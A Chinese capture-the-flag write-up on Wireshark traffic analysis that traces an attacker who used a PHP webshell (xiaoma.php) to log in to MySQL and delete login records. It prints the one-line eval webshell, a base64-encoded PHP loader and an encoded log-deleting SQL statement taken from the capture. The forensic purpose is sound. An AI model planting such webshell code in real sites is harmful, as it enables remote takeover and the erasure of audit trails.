前言
题目地址:https://www.mozhe.cn/bug/detail/NDU3RnFGTitFdUlaOXNlNFp6QzUydz09bW96aGUmozhe
背景介绍:某公司安全工程师抓取到一段Wireshark数据包,发现有人删除了数据库中的登录记录,找到攻击者境内的ip地址。
使用工具:WireShark
WireShark流量分析
首先打开 23.pcapng 这个流量数据包:
由上图可见,流量有上万条数据包!那么如何在上万条数据流里找到我们想要的信息呢?
我们先来分析题目的要求:发现有人删除了数据库中的登录记录,找到攻击者境内的IP地址!
重点一:删除了数据库中的登陆记录
重点二:攻击者的IP是境内的
由这两点我们就可以大概的了解了攻击者的手法:攻击者登陆到了数据库,然后利用SQL语法对数据库的数据进行了删除!
而我们知道,在一些常规的数据库SQL语法中,删除数据库的语句是:delete、drop...等等。那么这样我们就能缩小范围进行筛选了!
找到PHP脚本木马
PS:按照入侵的流程,想要登陆到数据库那么只有两种方式:
第一种:通过WEB网站入侵到服务器拿到数据库的配置信息从而登陆到数据库
第三种:通过未授权访问,由于运维人员的错误配置导致黑客能够未授权的登陆到数据库
我首先是过滤了一下HTTP协议的POST请求查看有那些提交的数据包:
http.request.method=="POST"
由上图可见,我通过过滤 HTTP 协议的 POST 请求发现了有一个木马文件:xiaoma.php
既然他删除了他的日志记录,那么我们就从最后一条有关于 xiaoma.php 这个请求文件数据包进行分析:最后一条的时间线是 17.257603,是第 7143 条数据:
分析流量找到删除数据库登陆记录的IP
由上图可见,我们点开 Hypertext Transfer Protocol 这一栏,我们可以看到 HTTP 协议的数据:
Hypertext Transfer Protocol POST /uploads/upload/xiaoma.php HTTP/1.1\r\n [Expert Info (Chat/Sequence): POST /uploads/upload/xiaoma.php HTTP/1.1\r\n] [POST /uploads/upload/xiaoma.php HTTP/1.1\r\n] [Severity level: Chat] [Group: Sequence] Request Method: POST Request URI: /uploads/upload/xiaoma.php Request Version: HTTP/1.1 X-Forwarded-For: 156.27.191.141\r\n Referer: http://123.108.208.144\r\n Content-Type: application/x-www-form-urlencoded\r\n User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; windows NT 5.1)\r\n Host: 123.108.208.144\r\n Content-Length: 957\r\n [Content length: 957] Connection: Close\r\n Cache-Control: no-cache\r\n \r\n [Full request URI: http://123.108.208.144/uploads/upload/xiaoma.php] [HTTP request 1/1] [Response in frame: 7144] File Data: 957 bytes
其中目标还伪造了一个 IP :X-Forwarded-For: 156.27.191.141(我们先记录)
接着往下看这条 POST 表单数据:HTML Form URL Encoded: application/x-www-form-urlencoded
HTML Form URL Encoded: application/x-www-form-urlencoded Form item: "d76R3478" = "@eval(base64_decode($_POST[z0]));" Key: d76R3478 Value: @eval\001(base64_decode($_POST[z0])); Form item: "z0" = "QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRoc3Q9JG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJd Key: z0 Value [truncated]: QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskbT1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOyRoc3Q9JG0/c3RyaXBzbGFzaGVzKCRfUE9TVFsiejEiXSk6JF9QT1NUWyJ6MSJ Form item: "z1" = "localhost" Key: z1 Value: localhost Form item: "z2" = "root" Key: z2 Value: root Form item: "z3" = "root" Key: z3 Value: root Form item: "z4" = "mysql" Key: z4 Value: mysql Form item: "z5" = "ZGVsZXRlIGZyb20gYWRtaW5fbG9nIHdoZXJlIGlwID0gIjEyMy40LjE0LjEyNiI7" Key: z5 Value: ZGVsZXRlIGZyb20gYWRtaW5fbG9nIHdoZXJlIGlwID0gIjEyMy40LjE0LjEyNiI7
由上图的数据可见,我们由此获得了几点重要的信息:
信息一:目标的一句话木马是
@eval(base64_decode($_POST[z0]));
信息二:目标使用了弱口令登陆到了MySQL数据库里
Form item: "z1" = "localhost" Key: z1 Value: localhost Form item: "z2" = "root" Key: z2 Value: root Form item: "z3" = "root" Key: z3 Value: root Form item: "z4" = "mysql" Key: z4 Value: mysql
信息三:目标加密了一些数据,其中加密方式是 base64 加密
大家想要获取到本题目的文件,请在公众号:"saulGoodman",回复:"流量分析1",即可获取到下载地址!